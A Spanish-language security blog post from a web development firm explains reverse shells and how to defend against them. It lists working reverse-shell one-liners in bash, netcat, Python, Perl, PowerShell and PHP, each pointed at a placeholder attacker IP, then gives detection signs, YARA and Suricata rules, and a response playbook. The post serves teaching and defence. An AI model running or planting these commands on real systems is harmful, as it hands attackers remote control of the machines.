Desarrollo de páginas web y software a medida en Ecuador

jivsoft@hotmail.com +593 97 876 6762
Publicado: 2025-09-19 15:03:00 / Seguridad / JIVSoft

Reverse Shells: la conversación secreta entre tu ordenador y el atacante

Un reverse shell es una “conversación secreta”: la máquina comprometida abre una conexión hacia el atacante (en lugar de que el atacante se conecte a la máquina). Es uno de los métodos más usados para obtener control remoto silencioso; entender cómo funcionan, cómo detectarlos y cómo responder rápidamente puede marcar la diferencia entre un susto y una brecha catastrófica.

Reverse Shells: la conversación secreta entre tu ordenador y el atacante

Imagina que tu servidor, obediente y silencioso, marca por teléfono a un desconocido y le abre una línea directa. Esa línea no es para pedir ayuda: es para entregar las llaves de la casa. Eso es, en esencia, un reverse shell. En vez de esperar a que el atacante se conecte a tu máquina, la víctima “llama de vuelta” al atacante y le ofrece una terminal remota.

No hay películas. No hay ruidos. Solo una conexión saliente que parece, a simple vista, tráfico legítimo. Y por eso funcionan tan bien.

¿Cómo funciona un reverse shell? (explicación técnica simple)

  • Bind shell (contrario): el servidor comprometido abre un puerto y espera que el atacante se conecte (más visible, porque hay un puerto en escucha).

  • Reverse shell: la víctima inicia la conexión hacia el atacante (evita firewalls entrantes y camufla el tráfico en puertos salientes permitidos como 80 o 443).

Flujo típico:

  1. El atacante prepara un listener (p. ej. nc -lvp 4444 o metasploit handler).

  2. El atacante hace que la víctima ejecute un comando/pequeño script que abre un socket TCP/UDP y enlaza stdin/stdout/stderr al socket.

  3. El atacante obtiene una sesión interactiva (shell), puede ejecutar comandos, subir/descargar archivos, pivotar, etc.

Comandos REALES que usan los atacantes (ejemplos — analiza y protégelos)

Linux / BSD

  • Bash (cuando /dev/tcp está disponible):

bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1

  • Netcat (si está instalado):

nc -e /bin/bash ATACANTE_IP 4444 # o (OpenBSD netcat sin -e) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATACANTE_IP 4444 >/tmp/f

  • Python 3:

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("ATACANTE_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'

  • Perl:

perl -e 'use Socket;$i="ATACANTE_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Windows

  • Netcat for Windows:

nc.exe ATACANTE_IP 4444 -e cmd.exe

  • PowerShell (no interactivo, más ofuscado):

$client = New-Object System.Net.Sockets.TCPClient("ATACANTE_IP",4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush(); } $client.Close();

  • PowerShell encoded (común para evadir detección):

powershell -NoP -NonI -W Hidden -EncodedCommand <BASE64>

Desde aplicaciones web (PHP)

  • PHP reverse shell (ejecución desde web):

<?php $sock=fsockopen("ATACANTE_IP",4444); $proc=proc_open("/bin/sh -i", array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?>

Estos ejemplos muestran la diversidad: lenguajes, utilidades y técnicas. Si un atacante domina al menos uno de estos medios, puede obtener control remoto instantáneo.

Señales de compromiso (IoC) específicas a buscar

  • Conexiones salientes no habituales: hosts internos conectando persistentemente a IPs extranjeras en puertos atípicos (o a 443/80 hacia IPs nuevas).

  • Procesos hijos extraños: httpd/php-fpm/nginx/w3wp.exe que lanzan sh/bash/cmd.exe/powershell.

  • Netcat / nc / ncat / socat instalados / ejecutados en servidores que no deberían tenerlos.

  • PowerShell con parámetros peligrosos: -EncodedCommand, -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass.

  • Comandos encadenados y FIFOs en /tmp (ej: creación de named pipes /tmp/f y uso de mkfifo).

  • Procesos que se reconectan periódicamente (ejemplo de heartbeat cada X segundos).

  • Tráfico cifrado saliente inusual donde no hay conosimiento de uso legítimo (por ejemplo, conexiones TLS persistentes a hosts cuyo certificado es auto-firmado o dinámico).

  • Archivos temporales con nombres raros o binarios descargados en /tmp, C:\Windows\Temp o carpetas de usuarios.

Mapeo rápido a MITRE ATT&CK

  • T1059 — Command and Scripting Interpreter (powerShell, bash, python).

  • T1071 — Application Layer Protocol (C2 over HTTP/HTTPS).

  • T1105 — Ingress Tool Transfer (descarga de payloads).

  • T1218 — Signed Binary Proxy Execution (abusar de utilidades del sistema). Este mapeo ayuda a priorizar detecciones y playbooks.

Cómo detectarlo y mitigarlo (estrategia defensiva)

Prevención

  • Filtrado egress: permitir solo destinos salientes necesarios; usar listas blancas (egress allowlist). Bloquear conexiones salientes a IPs/países sospechosos.

  • Eliminar/utilizar control sobre herramientas peligrosas: si no necesitas nc, socat, o python en ciertos hosts, elimínalos o restríngelos.

  • Harden de aplicaciones web: deshabilitar exec, system, popen, proc_open en PHP si no son necesarios; validar uploads y evitar ejecución de contenido subido.

  • Políticas de ejecución en Windows: AppLocker/Windows Defender Application Control para bloquear binarios no autorizados.

  • SSH bastion y jump hosts: evita acceso SSH directo a servidores productivos desde Internet.

Detección

  • EDR: buscar parent-child unusual relationships (ej: nginx -> /bin/sh o php-fpm -> python).

  • Sysmon (Windows): monitorizar Event ID 1 (ProcessCreate) + Event ID 3 (NetworkConnect). Alerta si powershell.exe o cmd.exe establecen conexiones salientes tras ser invocados por procesos web.

  • Auditd / process accounting (Linux): registrar ejecución de execve por procesos con UID de servicio web.

  • Netflow / DNS logs: correlacionar sesiones salientes persistentes, picos de transferencia y dominios dinámicos.

  • Inspección TLS (si es posible): detectar C2 sobre HTTPS por patrones anómalos (SNI dinámico, certificados inusuales).

Reglas y plantillas de detección (para adaptar)

Detección genérica de parent-child sospechoso (pseudo-regla EDR):

Si parent_process en {apache2,nginx,php-fpm,httpd,iis} crea un proceso cuya image esté en {bash,sh,cmd.exe,powershell.exe,nc.exe,python.exe,perl.exe} → ALERT: posible reverse shell.

YARA (archivo o playoad que contenga patrones de reverse shell)

rule ReverseShell_Patterns { strings: $r1 = "bash -i >& /dev/tcp" $r2 = "python -c 'import socket,os,pty;" $r3 = "nc -e /bin/bash" condition: any of them } 
Suricata (plantilla simple para detectar conexiones repetidas a IPs externas en puertos comunes):
alert tcp any any -> any 4444 (msg:"Outbound possible reverse shell to 4444"; threshold:type both, track by_src, count 5, seconds 60; sid:1001001; rev:1;)

(Estas plantillas requieren ajuste a tu red y falsos positivos deben ser afinados).

Playbook rápido de respuesta ante la detección de un reverse shell

  1. Detectar / Confirmar

    • Correlaciona logs EDR, netflow y Sysmon/Auditd. ¿Existe proceso con parent web server y conexión saliente?

  2. Contener

    • Aislar el host: bloquear egress desde la máquina (firewall) o mover a VLAN/QoS de cuarentena.

    • Desconectar de la red si es necesario y factible.

  3. Recolectar

    • Guardar volcado de memoria (memory dump), volcado de procesos, ps auxww, netstat -tunapl, ss -tnp, lsof -i.

    • Copia de logs (web server, applicación, auth logs).

  4. Analizar

    • Identificar persistencia: tareas programadas, servicios nuevos, entradas en crontab, claves SSH añadidas.

    • Buscar binarios/archivos en /tmp, C:\Windows\Temp, rutas de usuarios.

  5. Erradicar

    • Revocar credenciales comprometidas (rotar claves, cambiar contraseñas, revocar tokens).

    • Eliminar artefactos, o —si hay dudas— reconstruir el host desde una imagen limpia.

  6. Recuperar

    • Restaurar desde backup verificado; validar integridad antes de exponer de nuevo.

  7. Post-mortem

    • Registrar indicadores, timeline, y acciones correctivas para prevenir reingresos. Actualizar reglas EDR/IDS.

Checklist operativo inmediato (qué hacer HOY mismo si te preocupa esto)

  • Revisar procesos hijos de servicios web para las últimas 24–72 horas.

  • Revisar conexiones salientes persistentes (netstat/ss / siem) y correlacionar con horas y usuarios.

  • Asegurar que las funciones de ejecución remota en aplicaciones web estén deshabilitadas si no son críticas.

  • Implementar o validar reglas EDR para alertar sobre webserver -> shell parent-child.

  • Configurar egress control para hosts sensibles (DB, app servers, etc.).

  • Crear playbook de respuesta (breve) y practicar un tabletop sobre reverse shell.

Reflexión final 

Un reverse shell no es más que una línea abierta, una conversación secreta que tu sistema mantiene sin que lo notes. Cuando la línea está activa, el atacante tiene la libertad de actuar casi con impunidad: explorar, robar y pivotar. La parte aterradora es que, a ojos no entrenados, esa línea puede parecer simplemente tráfico saliente — un “check-in” del sistema — y nadie levantará la mano hasta que sea demasiado tarde.

Y aquí la pregunta que dejo a mis lectores: Si tu servidor pudiera "llamar" a cualquier dirección hoy, 

¿sabrías distinguir una llamada de mantenimiento legítima de una que abre la puerta a un intruso?